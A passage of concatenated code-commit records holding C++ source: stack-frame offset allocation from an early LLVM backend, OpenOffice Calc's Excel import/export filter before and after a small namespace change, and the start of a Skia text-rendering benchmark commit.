cacheLineSize;\n  else\n    for (unsigned sz=1; \/*no condition*\/; sz *= 2)\n      if (sz >= size || sz >= target.DataLayout.getDoubleAlignment())\n        return sz;\n}\n\n\n\/*ctor*\/\nMachineCodeForMethod::MachineCodeForMethod(const Function *F,\n                                           const TargetMachine& target)\n  : Annotation(MCFM_AID),\n    method(F), staticStackSize(0),\n    automaticVarsSize(0), regSpillsSize(0),\n    maxOptionalArgsSize(0), maxOptionalNumArgs(0),\n    currentTmpValuesSize(0), maxTmpValuesSize(0), compiledAsLeaf(false),\n    spillsAreaFrozen(false), automaticVarsAreaFrozen(false)\n{\n  maxOptionalArgsSize = ComputeMaxOptionalArgsSize(target, method,\n                                                   maxOptionalNumArgs);\n  staticStackSize = maxOptionalArgsSize\n                    + target.getFrameInfo().getMinStackFrameSize();\n}\n\nint\nMachineCodeForMethod::computeOffsetforLocalVar(const TargetMachine& target,\n                                               const Value* val,\n                                               unsigned int& getPaddedSize,\n                                               unsigned int  sizeToUse)\n{\n  if (sizeToUse == 0)\n    sizeToUse = target.findOptimalStorageSize(val->getType());\n  unsigned int align = SizeToAlignment(sizeToUse, target);\n\n  bool growUp;\n  int firstOffset = target.getFrameInfo().getFirstAutomaticVarOffset(*this,\n                                                                     growUp);\n  int offset = growUp? firstOffset + getAutomaticVarsSize()\n                     : firstOffset - (getAutomaticVarsSize() + sizeToUse);\n\n  int aligned = target.getFrameInfo().adjustAlignment(offset, growUp, align);\n  getPaddedSize = sizeToUse + abs(aligned - offset);\n\n  return aligned;\n}\n\nint\nMachineCodeForMethod::allocateLocalVar(const TargetMachine& target,\n                                       const Value* val,\n                                       unsigned int sizeToUse)\n{\n  assert(! automaticVarsAreaFrozen &&\n         \"Size of auto vars area has been used to compute an offset so \"\n         \"no more automatic vars should be allocated!\");\n  \n  \/\/ Check if we've allocated a stack slot for this value already\n  \/\/ \n  int offset = getOffset(val);\n  if (offset == INVALID_FRAME_OFFSET)\n    {\n      unsigned int getPaddedSize;\n      offset = this->computeOffsetforLocalVar(target, val, getPaddedSize,\n                                              sizeToUse);\n      offsets[val] = offset;\n      incrementAutomaticVarsSize(getPaddedSize);\n    }\n  return offset;\n}\n\nint\nMachineCodeForMethod::allocateSpilledValue(const TargetMachine& target,\n                                           const Type* type)\n{\n  assert(! spillsAreaFrozen &&\n         \"Size of reg spills area has been used to compute an offset so \"\n         \"no more register spill slots should be allocated!\");\n  \n  unsigned int size  = target.DataLayout.getTypeSize(type);\n  unsigned char align = target.DataLayout.getTypeAlignment(type);\n  \n  bool growUp;\n  int firstOffset = target.getFrameInfo().getRegSpillAreaOffset(*this, growUp);\n  \n  int offset = growUp? firstOffset + getRegSpillsSize()\n                     : firstOffset - (getRegSpillsSize() + size);\n\n  int aligned = target.getFrameInfo().adjustAlignment(offset, growUp, align);\n  size += abs(aligned - offset); \/\/ include alignment padding in size\n  \n  incrementRegSpillsSize(size);  \/\/ update size of reg. spills area\n\n  return aligned;\n}\n\nint\nMachineCodeForMethod::pushTempValue(const TargetMachine& target,\n                                    unsigned int size)\n{\n  unsigned int align = SizeToAlignment(size, target);\n\n  bool growUp;\n  int firstOffset = target.getFrameInfo().getTmpAreaOffset(*this, growUp);\n\n  int offset = growUp? firstOffset + currentTmpValuesSize\n                     : firstOffset - (currentTmpValuesSize + size);\n\n  int aligned = target.getFrameInfo().adjustAlignment(offset, growUp, align);\n  size += abs(aligned - offset); \/\/ include alignment padding in size\n\n  incrementTmpAreaSize(size);    \/\/ update \"current\" size of tmp area\n\n  return aligned;\n}\n\nvoid\nMachineCodeForMethod::popAllTempValues(const TargetMachine& target)\n{\n  resetTmpAreaSize();            \/\/ clear tmp area to reuse\n}\n\nint\nMachineCodeForMethod::getOffset(const Value* val) const\n{\n  hash_map<const Value*, int>::const_iterator pair = offsets.find(val);\n  return (pair == offsets.end())? INVALID_FRAME_OFFSET : pair->second;\n}\n\nvoid\nMachineCodeForMethod::dump() const\n{\n  std::cerr << \"\\n\" << method->getReturnType()\n            << \" \\\"\" << method->getName() << \"\\\"\\n\";\n  \n  for (Function::const_iterator BB = method->begin(); BB != method->end(); ++BB)\n    {\n      std::cerr << std::endl << (*BB).getName() << \" (\" << (const void*) BB << \")\" << \":\" << std::endl;\n      MachineCodeForBasicBlock& mvec = MachineCodeForBasicBlock::get(BB);\n      for (unsigned i=0; i < mvec.size(); i++)\n\tstd::cerr << \"\\t\" << *mvec[i];\n    } \n  std::cerr << \"\\nEnd function \\\"\" << method->getName() << \"\\\"\\n\\n\";\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: excel.cxx,v $\n *\n *  $Revision: 1.22 $\n *\n *  last change: $Author: rt $ $Date: 2006-05-05 09:35:01 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifdef PCH\n#include \"filt_pch.hxx\"\n#endif\n\n#pragma hdrstop\n\n\/\/ ============================================================================\n\n#ifndef _SFXDOCFILE_HXX\n#include <sfx2\/docfile.hxx>\n#endif\n#ifndef _SFXAPP_HXX\n#include <sfx2\/app.hxx>\n#endif\n#ifndef _SVSTOR_HXX\n#include <sot\/storage.hxx>\n#endif\n#ifndef _SOT_EXCHANGE_HXX\n#include <sot\/exchange.hxx>\n#endif\n#ifndef _GLOBNAME_HXX\n#include <tools\/globname.hxx>\n#endif\n\n#ifndef SC_ITEMS_HXX\n#include \"scitems.hxx\"\n#endif\n#ifndef _SFXSTRITEM_HXX\n#include <svtools\/stritem.hxx>\n#endif\n\n#ifndef SC_FILTER_HXX\n#include \"filter.hxx\"\n#endif\n\n#ifndef SC_DOCUMENT_HXX\n#include \"document.hxx\"\n#endif\n#ifndef SC_XLDUMPER_HXX\n#include \"xldumper.hxx\"\n#endif\n#ifndef SC_XISTREAM_HXX\n#include \"xistream.hxx\"\n#endif\n\n#include \"scerrors.hxx\"\n#include \"root.hxx\"\n#include \"imp_op.hxx\"\n#include \"excimp8.hxx\"\n#include \"exp_op.hxx\"\n\n\nFltError ScImportExcel( SfxMedium& r, ScDocument* p )\n{\n    return ScImportExcel( r, p, EIF_AUTO );\n}\n\n\nFltError ScImportExcel( SfxMedium& rMedium, ScDocument* pDocument, const EXCIMPFORMAT eFormat )\n{\n    \/\/ check the passed Calc document\n    DBG_ASSERT( pDocument, \"::ScImportExcel - no document\" );\n    if( !pDocument ) return eERR_INTERN;        \/\/ should not happen\n\n#if SCF_INCL_DUMPER\n    {\n        ::scf::xls::dump::Dumper aDumper( rMedium, pDocument->GetDocumentShell() );\n        aDumper.Dump();\n        if( !aDumper.IsImportEnabled() )\n            return ERRCODE_ABORT;\n    }\n#endif\n\n    \/*  Import all BIFF versions regardless on eFormat, needed for import of\n        external cells (file type detection returns Excel4.0). *\/\n    if( (eFormat != EIF_AUTO) && (eFormat != EIF_BIFF_LE4) && (eFormat != EIF_BIFF5) && (eFormat != EIF_BIFF8) )\n    {\n        DBG_ERRORFILE( \"::ScImportExcel - wrong file format specification\" );\n        return eERR_FORMAT;\n    }\n\n    \/\/ check the input stream from medium\n    SvStream* pMedStrm = rMedium.GetInStream();\n    DBG_ASSERT( pMedStrm, \"::ScImportExcel - medium without input stream\" );\n    if( !pMedStrm ) return eERR_OPEN;           \/\/ should not happen\n\n    SvStream* pBookStrm = 0;            \/\/ The \"Book\"\/\"Workbook\" stream containing main data.\n    XclBiff eBiff = EXC_BIFF_UNKNOWN;   \/\/ The BIFF version of the main stream.\n\n    \/\/ try to open an OLE storage\n    SotStorageRef xRootStrg;\n    SotStorageStreamRef xStrgStrm;\n    if( SotStorage::IsStorageFile( pMedStrm ) )\n    {\n        xRootStrg = new SotStorage( pMedStrm, FALSE );\n        if( xRootStrg->GetError() )\n            xRootStrg = 0;\n    }\n\n    \/\/ try to open \"Book\" or \"Workbook\" stream in OLE storage\n    if( xRootStrg.Is() )\n    {\n        \/\/ try to open the \"Book\" stream\n        SotStorageStreamRef xBookStrm5 = ScfTools::OpenStorageStreamRead( xRootStrg, EXC_STREAM_BOOK );\n        XclBiff eBookStrm5Biff = xBookStrm5.Is() ?  XclImpStream::DetectBiffVersion( *xBookStrm5 ) : EXC_BIFF_UNKNOWN;\n\n        \/\/ try to open the \"Workbook\" stream\n        SotStorageStreamRef xBookStrm8 = ScfTools::OpenStorageStreamRead( xRootStrg, EXC_STREAM_WORKBOOK );\n        XclBiff eBookStrm8Biff = xBookStrm8.Is() ?  XclImpStream::DetectBiffVersion( *xBookStrm8 ) : EXC_BIFF_UNKNOWN;\n\n        \/\/ decide which stream to use\n        if( (eBookStrm8Biff != EXC_BIFF_UNKNOWN) && ((eBookStrm5Biff == EXC_BIFF_UNKNOWN) || (eBookStrm8Biff > eBookStrm5Biff)) )\n        {\n            \/*  Only \"Workbook\" stream exists; or both streams exist,\n                and \"Workbook\" has higher BIFF version than \"Book\" stream. *\/\n            xStrgStrm = xBookStrm8;\n            eBiff = eBookStrm8Biff;\n        }\n        else if( eBookStrm5Biff != EXC_BIFF_UNKNOWN )\n        {\n            \/*  Only \"Book\" stream exists; or both streams exist,\n                and \"Book\" has higher BIFF version than \"Workbook\" stream. *\/\n            xStrgStrm = xBookStrm5;\n            eBiff = eBookStrm5Biff;\n        }\n\n        pBookStrm = xStrgStrm;\n    }\n\n    \/\/ no \"Book\" or \"Workbook\" stream found, try plain input stream from medium (even for BIFF5+)\n    if( !pBookStrm )\n    {\n        eBiff = XclImpStream::DetectBiffVersion( *pMedStrm );\n        if( eBiff != EXC_BIFF_UNKNOWN )\n            pBookStrm = pMedStrm;\n    }\n\n    \/\/ try to import the file\n    FltError eRet = eERR_UNKN_BIFF;\n    if( pBookStrm )\n    {\n        pBookStrm->SetBufferSize( 0x8000 );     \/\/ still needed?\n\n        XclImpRootData aImpData( eBiff, rMedium, xRootStrg, *pDocument, RTL_TEXTENCODING_MS_1252 );\n        ::std::auto_ptr< ImportExcel > xFilter;\n        switch( eBiff )\n        {\n            case EXC_BIFF2:\n            case EXC_BIFF3:\n            case EXC_BIFF4:\n            case EXC_BIFF5:\n                xFilter.reset( new ImportExcel( aImpData, *pBookStrm ) );\n            break;\n            case EXC_BIFF8:\n                xFilter.reset( new ImportExcel8( aImpData, *pBookStrm ) );\n            break;\n            default:    DBG_ERROR_BIFF();\n        }\n\n        eRet = xFilter.get() ? xFilter->Read() : eERR_INTERN;\n    }\n\n    return eRet;\n}\n\n\n\n\nFltError ScExportExcel234( SvStream &aStream, ScDocument *pDoc,\n    ExportFormatExcel eFormat, CharSet eNach )\n{\n    FltError                eRet = eERR_NI;\n    return eRet;\n}\n\n\nFltError ScExportExcel5( SfxMedium& rMedium, ScDocument *pDocument,\n    const BOOL bBiff8, CharSet eNach )\n{\n    \/\/ check the passed Calc document\n    DBG_ASSERT( pDocument, \"::ScImportExcel - no document\" );\n    if( !pDocument ) return eERR_INTERN;        \/\/ should not happen\n\n    \/\/ check the output stream from medium\n    SvStream* pMedStrm = rMedium.GetOutStream();\n    DBG_ASSERT( pMedStrm, \"::ScExportExcel5 - medium without output stream\" );\n    if( !pMedStrm ) return eERR_OPEN;           \/\/ should not happen\n\n    \/\/ try to open an OLE storage\n    SotStorageRef xRootStrg = new SotStorage( pMedStrm, FALSE );\n    if( xRootStrg->GetError() ) return eERR_OPEN;\n\n    \/\/ create BIFF dependent strings\n    String aStrmName, aClipName, aClassName;\n    if( bBiff8 )\n    {\n        aStrmName = EXC_STREAM_WORKBOOK;\n        aClipName = CREATE_STRING( \"Biff8\" );\n        aClassName = CREATE_STRING( \"Microsoft Excel 97-Tabelle\" );\n    }\n    else\n    {\n        aStrmName = EXC_STREAM_BOOK;\n        aClipName = CREATE_STRING( \"Biff5\" );\n        aClassName = CREATE_STRING( \"Microsoft Excel 5.0-Tabelle\" );\n    }\n\n    \/\/ open the \"Book\"\/\"Workbook\" stream\n    SotStorageStreamRef xStrgStrm = ScfTools::OpenStorageStreamWrite( xRootStrg, aStrmName );\n    if( !xStrgStrm.Is() || xStrgStrm->GetError() ) return eERR_OPEN;\n\n    xStrgStrm->SetBufferSize( 0x8000 );     \/\/ still needed?\n\n    FltError eRet = eERR_UNKN_BIFF;\n    XclExpRootData aExpData( bBiff8 ? EXC_BIFF8 : EXC_BIFF5, rMedium, xRootStrg, *pDocument, eNach );\n    if ( bBiff8 )\n    {\n        ExportBiff8 aFilter( aExpData, *xStrgStrm );\n        eRet = aFilter.Write();\n    }\n    else\n    {\n        ExportBiff5 aFilter( aExpData, *xStrgStrm );\n        eRet = aFilter.Write();\n    }\n\n    if( eRet == eERR_RNGOVRFLW )\n        eRet = SCWARN_EXPORT_MAXROW;\n\n    SvGlobalName aGlobName( 0x00020810, 0x0000, 0x0000, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 );\n    sal_uInt32 nClip = SotExchange::RegisterFormatName( aClipName );\n    xRootStrg->SetClass( aGlobName, nClip, aClassName );\n\n    xStrgStrm->Commit();\n    xRootStrg->Commit();\n\n    return eRet;\n}\n\n\n\n<commit_msg>INTEGRATION: CWS dr48 (1.22.2); FILE MERGED 2006\/05\/10 09:03:16 dr 1.22.2.1: dumper additions from CWS chart2mst3<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: excel.cxx,v $\n *\n *  $Revision: 1.23 $\n *\n *  last change: $Author: obo $ $Date: 2006-07-10 13:28:10 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifdef PCH\n#include \"filt_pch.hxx\"\n#endif\n\n#pragma hdrstop\n\n\/\/ ============================================================================\n\n#ifndef _SFXDOCFILE_HXX\n#include <sfx2\/docfile.hxx>\n#endif\n#ifndef _SFXAPP_HXX\n#include <sfx2\/app.hxx>\n#endif\n#ifndef _SVSTOR_HXX\n#include <sot\/storage.hxx>\n#endif\n#ifndef _SOT_EXCHANGE_HXX\n#include <sot\/exchange.hxx>\n#endif\n#ifndef _GLOBNAME_HXX\n#include <tools\/globname.hxx>\n#endif\n\n#ifndef SC_ITEMS_HXX\n#include \"scitems.hxx\"\n#endif\n#ifndef _SFXSTRITEM_HXX\n#include <svtools\/stritem.hxx>\n#endif\n\n#ifndef SC_FILTER_HXX\n#include \"filter.hxx\"\n#endif\n\n#ifndef SC_DOCUMENT_HXX\n#include \"document.hxx\"\n#endif\n#ifndef SC_XLDUMPER_HXX\n#include \"xldumper.hxx\"\n#endif\n#ifndef SC_XISTREAM_HXX\n#include \"xistream.hxx\"\n#endif\n\n#include \"scerrors.hxx\"\n#include \"root.hxx\"\n#include \"imp_op.hxx\"\n#include \"excimp8.hxx\"\n#include \"exp_op.hxx\"\n\n\nFltError ScImportExcel( SfxMedium& r, ScDocument* p )\n{\n    return ScImportExcel( r, p, EIF_AUTO );\n}\n\n\nFltError ScImportExcel( SfxMedium& rMedium, ScDocument* pDocument, const EXCIMPFORMAT eFormat )\n{\n    \/\/ check the passed Calc document\n    DBG_ASSERT( pDocument, \"::ScImportExcel - no document\" );\n    if( !pDocument ) return eERR_INTERN;        \/\/ should not happen\n\n#if SCF_INCL_DUMPER\n    {\n        ::scf::dump::xls::Dumper aDumper( rMedium, pDocument->GetDocumentShell() );\n        aDumper.Dump();\n        if( !aDumper.IsImportEnabled() )\n            return ERRCODE_ABORT;\n    }\n#endif\n\n    \/*  Import all BIFF versions regardless on eFormat, needed for import of\n        external cells (file type detection returns Excel4.0). *\/\n    if( (eFormat != EIF_AUTO) && (eFormat != EIF_BIFF_LE4) && (eFormat != EIF_BIFF5) && (eFormat != EIF_BIFF8) )\n    {\n        DBG_ERRORFILE( \"::ScImportExcel - wrong file format specification\" );\n        return eERR_FORMAT;\n    }\n\n    \/\/ check the input stream from medium\n    SvStream* pMedStrm = rMedium.GetInStream();\n    DBG_ASSERT( pMedStrm, \"::ScImportExcel - medium without input stream\" );\n    if( !pMedStrm ) return eERR_OPEN;           \/\/ should not happen\n\n    SvStream* pBookStrm = 0;            \/\/ The \"Book\"\/\"Workbook\" stream containing main data.\n    XclBiff eBiff = EXC_BIFF_UNKNOWN;   \/\/ The BIFF version of the main stream.\n\n    \/\/ try to open an OLE storage\n    SotStorageRef xRootStrg;\n    SotStorageStreamRef xStrgStrm;\n    if( SotStorage::IsStorageFile( pMedStrm ) )\n    {\n        xRootStrg = new SotStorage( pMedStrm, FALSE );\n        if( xRootStrg->GetError() )\n            xRootStrg = 0;\n    }\n\n    \/\/ try to open \"Book\" or \"Workbook\" stream in OLE storage\n    if( xRootStrg.Is() )\n    {\n        \/\/ try to open the \"Book\" stream\n        SotStorageStreamRef xBookStrm5 = ScfTools::OpenStorageStreamRead( xRootStrg, EXC_STREAM_BOOK );\n        XclBiff eBookStrm5Biff = xBookStrm5.Is() ?  XclImpStream::DetectBiffVersion( *xBookStrm5 ) : EXC_BIFF_UNKNOWN;\n\n        \/\/ try to open the \"Workbook\" stream\n        SotStorageStreamRef xBookStrm8 = ScfTools::OpenStorageStreamRead( xRootStrg, EXC_STREAM_WORKBOOK );\n        XclBiff eBookStrm8Biff = xBookStrm8.Is() ?  XclImpStream::DetectBiffVersion( *xBookStrm8 ) : EXC_BIFF_UNKNOWN;\n\n        \/\/ decide which stream to use\n        if( (eBookStrm8Biff != EXC_BIFF_UNKNOWN) && ((eBookStrm5Biff == EXC_BIFF_UNKNOWN) || (eBookStrm8Biff > eBookStrm5Biff)) )\n        {\n            \/*  Only \"Workbook\" stream exists; or both streams exist,\n                and \"Workbook\" has higher BIFF version than \"Book\" stream. *\/\n            xStrgStrm = xBookStrm8;\n            eBiff = eBookStrm8Biff;\n        }\n        else if( eBookStrm5Biff != EXC_BIFF_UNKNOWN )\n        {\n            \/*  Only \"Book\" stream exists; or both streams exist,\n                and \"Book\" has higher BIFF version than \"Workbook\" stream. *\/\n            xStrgStrm = xBookStrm5;\n            eBiff = eBookStrm5Biff;\n        }\n\n        pBookStrm = xStrgStrm;\n    }\n\n    \/\/ no \"Book\" or \"Workbook\" stream found, try plain input stream from medium (even for BIFF5+)\n    if( !pBookStrm )\n    {\n        eBiff = XclImpStream::DetectBiffVersion( *pMedStrm );\n        if( eBiff != EXC_BIFF_UNKNOWN )\n            pBookStrm = pMedStrm;\n    }\n\n    \/\/ try to import the file\n    FltError eRet = eERR_UNKN_BIFF;\n    if( pBookStrm )\n    {\n        pBookStrm->SetBufferSize( 0x8000 );     \/\/ still needed?\n\n        XclImpRootData aImpData( eBiff, rMedium, xRootStrg, *pDocument, RTL_TEXTENCODING_MS_1252 );\n        ::std::auto_ptr< ImportExcel > xFilter;\n        switch( eBiff )\n        {\n            case EXC_BIFF2:\n            case EXC_BIFF3:\n            case EXC_BIFF4:\n            case EXC_BIFF5:\n                xFilter.reset( new ImportExcel( aImpData, *pBookStrm ) );\n            break;\n            case EXC_BIFF8:\n                xFilter.reset( new ImportExcel8( aImpData, *pBookStrm ) );\n            break;\n            default:    DBG_ERROR_BIFF();\n        }\n\n        eRet = xFilter.get() ? xFilter->Read() : eERR_INTERN;\n    }\n\n    return eRet;\n}\n\n\n\n\nFltError ScExportExcel234( SvStream &aStream, ScDocument *pDoc,\n    ExportFormatExcel eFormat, CharSet eNach )\n{\n    FltError                eRet = eERR_NI;\n    return eRet;\n}\n\n\nFltError ScExportExcel5( SfxMedium& rMedium, ScDocument *pDocument,\n    const BOOL bBiff8, CharSet eNach )\n{\n    \/\/ check the passed Calc document\n    DBG_ASSERT( pDocument, \"::ScImportExcel - no document\" );\n    if( !pDocument ) return eERR_INTERN;        \/\/ should not happen\n\n    \/\/ check the output stream from medium\n    SvStream* pMedStrm = rMedium.GetOutStream();\n    DBG_ASSERT( pMedStrm, \"::ScExportExcel5 - medium without output stream\" );\n    if( !pMedStrm ) return eERR_OPEN;           \/\/ should not happen\n\n    \/\/ try to open an OLE storage\n    SotStorageRef xRootStrg = new SotStorage( pMedStrm, FALSE );\n    if( xRootStrg->GetError() ) return eERR_OPEN;\n\n    \/\/ create BIFF dependent strings\n    String aStrmName, aClipName, aClassName;\n    if( bBiff8 )\n    {\n        aStrmName = EXC_STREAM_WORKBOOK;\n        aClipName = CREATE_STRING( \"Biff8\" );\n        aClassName = CREATE_STRING( \"Microsoft Excel 97-Tabelle\" );\n    }\n    else\n    {\n        aStrmName = EXC_STREAM_BOOK;\n        aClipName = CREATE_STRING( \"Biff5\" );\n        aClassName = CREATE_STRING( \"Microsoft Excel 5.0-Tabelle\" );\n    }\n\n    \/\/ open the \"Book\"\/\"Workbook\" stream\n    SotStorageStreamRef xStrgStrm = ScfTools::OpenStorageStreamWrite( xRootStrg, aStrmName );\n    if( !xStrgStrm.Is() || xStrgStrm->GetError() ) return eERR_OPEN;\n\n    xStrgStrm->SetBufferSize( 0x8000 );     \/\/ still needed?\n\n    FltError eRet = eERR_UNKN_BIFF;\n    XclExpRootData aExpData( bBiff8 ? EXC_BIFF8 : EXC_BIFF5, rMedium, xRootStrg, *pDocument, eNach );\n    if ( bBiff8 )\n    {\n        ExportBiff8 aFilter( aExpData, *xStrgStrm );\n        eRet = aFilter.Write();\n    }\n    else\n    {\n        ExportBiff5 aFilter( aExpData, *xStrgStrm );\n        eRet = aFilter.Write();\n    }\n\n    if( eRet == eERR_RNGOVRFLW )\n        eRet = SCWARN_EXPORT_MAXROW;\n\n    SvGlobalName aGlobName( 0x00020810, 0x0000, 0x0000, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 );\n    sal_uInt32 nClip = SotExchange::RegisterFormatName( aClipName );\n    xRootStrg->SetClass( aGlobName, nClip, aClassName );\n\n    xStrgStrm->Commit();\n    xRootStrg->Commit();\n\n    return eRet;\n}\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"SkBenchmark.h\"\n#include \"SkCanvas.h\"\n#include \"SkFontHost.h\"\n#include \"SkPaint.h\"\n#include \"SkRandom.h\"\n#include \"SkSfntUtils.h\"\n#include \"SkString.h\"\n#include \"SkTemplates.h\"\n\nstatic void dump_font(const char name[], SkFontID fontID) {\n    SkDebugf(\"Font \\\"%s\\\" %x\\n\", name, fontID);\n    int count = SkFontHost::CountTables(fontID);\n    SkAutoTArray<SkFontTableTag> storage(count);\n    SkFontTableTag* tags = storage.get();\n    SkFontHost::GetTableTags(fontID, tags);\n    for (int i = 0; i < count; i++) {\n        uint32_t tag = tags[i];\n        uint8_t data[4];\n        size_t size = SkFontHost::GetTableSize(fontID, tag);\n        size_t bytes = SkFontHost::GetTableData(fontID, tag,\n                                                0, sizeof(data), data);\n        SkDebugf(\"   tag=%c%c%c%c size=%d bytes=%d %x %x %x %x\\n\",\n                 uint8_t(tag>>24), uint8_t(tag>>16), uint8_t(tag>>8), uint8_t(tag),\n                 size, bytes, data[0], data[1], data[2], data[3]);\n    }\n    \n    SkSfntTable_head head;\n    if (SkSfntUtils::ReadTable_head(fontID, &head)) {\n        SkDebugf(\"--- head: version=%x magic=%x upem=%d style=%x\\n\", head.fVersion,\n                 head.fMagicNumber, head.fUnitsPerEm, head.fMacStyle);\n    } else {\n        SkDebugf(\"------- head wasn't read\\n\");\n    }\n\n    SkSfntTable_maxp maxp;\n    if (SkSfntUtils::ReadTable_maxp(fontID, &maxp)) {\n        SkDebugf(\"--- maxp: version=%x glyphs=%d points=%d ctrs=%d\\n\", maxp.fVersion,\n                 maxp.fNumGlyphs, maxp.fMaxPoints, maxp.fMaxContours);\n    } else {\n        SkDebugf(\"------- maxp wasn't read\\n\");\n    }\n}\n\nstatic void test_tables() {\n    static bool gOnce;\n    if (gOnce) {\n        return;\n    }\n    gOnce = true;\n    \n    static const char* gNames[] = {\n        \"Arial\", \"Times\", \"Courier\"\n    };\n    \n    for (size_t i = 0; i < SK_ARRAY_COUNT(gNames); i++) {\n        SkTypeface* tf = SkTypeface::CreateFromName(gNames[i], SkTypeface::kNormal);\n        if (tf) {\n            SkFontID fontID = tf->uniqueID();\n            dump_font(gNames[i], fontID);\n            tf->unref();\n        }\n    }\n}\n\n\/*  Some considerations for performance:\n        short -vs- long strings (measuring overhead)\n        tiny -vs- large pointsize (measure blit -vs- overhead)\n        1 -vs- many point sizes (measure cache lookup)\n        normal -vs- subpixel -vs- lineartext (minor)\n        force purge after each draw to measure scaler\n        textencoding?\n        text -vs- postext - pathtext\n *\/\nclass TextBench : public SkBenchmark {\n    SkPaint     fPaint;\n    int         fCount;\n    SkPoint*    fPos;\n    SkString    fText;\n    SkString    fName;\n    enum { N = 300 };\npublic:\n    TextBench(const char text[], int ps, bool linearText, bool posText) {\n        test_tables();\n        \n        fText.set(text);\n\n        fPaint.setAntiAlias(true);\n        fPaint.setTextSize(SkIntToScalar(ps));\n        fPaint.setLinearText(linearText);\n\n        if (posText) {\n            SkAutoTArray<SkScalar> storage(fText.size());\n            SkScalar* widths = storage.get();\n            fCount = fPaint.getTextWidths(fText.c_str(), fText.size(), widths);\n            fPos = new SkPoint[fCount];\n            SkScalar x = 0;\n            for (int i = 0; i < fCount; i++) {\n                fPos[i].set(x, 0);\n                x += widths[i];\n            }\n        } else {\n            fCount = 0;\n            fPos = NULL;\n        }\n    }\n    \n    virtual ~TextBench() {\n        delete[] fPos;\n    }\n\nprotected:\n    virtual const char* onGetName() {\n        fName.printf(\"text_%g\", SkScalarToFloat(fPaint.getTextSize()));\n        if (fPaint.isLinearText()) {\n            fName.append(\"_linear\");\n        }\n        if (fPos) {\n            fName.append(\"_pos\");\n        }\n        return fName.c_str();\n    }\n\n    virtual void onDraw(SkCanvas* canvas) {\n        const SkIPoint dim = this->getSize();\n        SkRandom rand;\n\n        SkPaint paint(fPaint);\n        this->setupPaint(&paint);\n\n        const SkScalar x0 = SkIntToScalar(-10);\n        const SkScalar y0 = SkIntToScalar(-10);\n\n        for (int i = 0; i < N; i++) {\n            SkScalar x = x0 + rand.nextUScalar1() * dim.fX;\n            SkScalar y = y0 + rand.nextUScalar1() * dim.fY;\n            if (fPos) {\n                canvas->save(SkCanvas::kMatrix_SaveFlag);\n                canvas->translate(x, y);\n                canvas->drawPosText(fText.c_str(), fText.size(), fPos, paint);\n                canvas->restore();\n            } else {\n                canvas->drawText(fText.c_str(), fText.size(), x, y, paint);\n            }\n        }\n    }\n\nprivate:\n    typedef SkBenchmark INHERITED;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define STR     \"Hamburgefons\"\n#define SMALL   9\n#define BIG     48\n\nstatic SkBenchmark* Fact0(void*) { return new TextBench(STR, SMALL, false, false); }\nstatic SkBenchmark* Fact1(void*) { return new TextBench(STR, SMALL, false, true); }\nstatic SkBenchmark* Fact2(void*) { return new TextBench(STR, SMALL, true, false); }\nstatic SkBenchmark* Fact3(void*) { return new TextBench(STR, SMALL, true, true); }\nstatic SkBenchmark* Fact4(void*) { return new TextBench(STR, BIG, false, false); }\nstatic SkBenchmark* Fact5(void*) { return new TextBench(STR, BIG, false, true); }\nstatic SkBenchmark* Fact6(void*) { return new TextBench(STR, BIG, true, false); }\nstatic SkBenchmark* Fact7(void*) { return new TextBench(STR, BIG, true, true); }\n\nstatic BenchRegistry gReg0(Fact0);\nstatic BenchRegistry gReg1(Fact1);\nstatic BenchRegistry gReg2(Fact2);\nstatic BenchRegistry gReg3(Fact3);\nstatic BenchRegistry gReg4(Fact4);\nstatic BenchRegistry gReg5(Fact5);\nstatic BenchRegistry gReg6(Fact6);\nstatic BenchRegistry gReg7(Fact7);\n<commit_msg>remove noisy font table tests from TextBench<commit_after>#include \"SkBenchmark.h\"\n#include \"SkCanvas.h\"\n#include \"SkFontHost.h\"\n#include \"SkPaint.h\"\n#include \"SkRandom.h\"\n#include \"SkSfntUtils.h\"\n#include \"SkString.h\"\n#include \"SkTemplates.h\"\n\nstatic void dump_font(const char name[], SkFontID fontID) {\n    SkDebugf(\"Font \\\"%s\\\" %x\\n\", name, fontID);\n    int count = 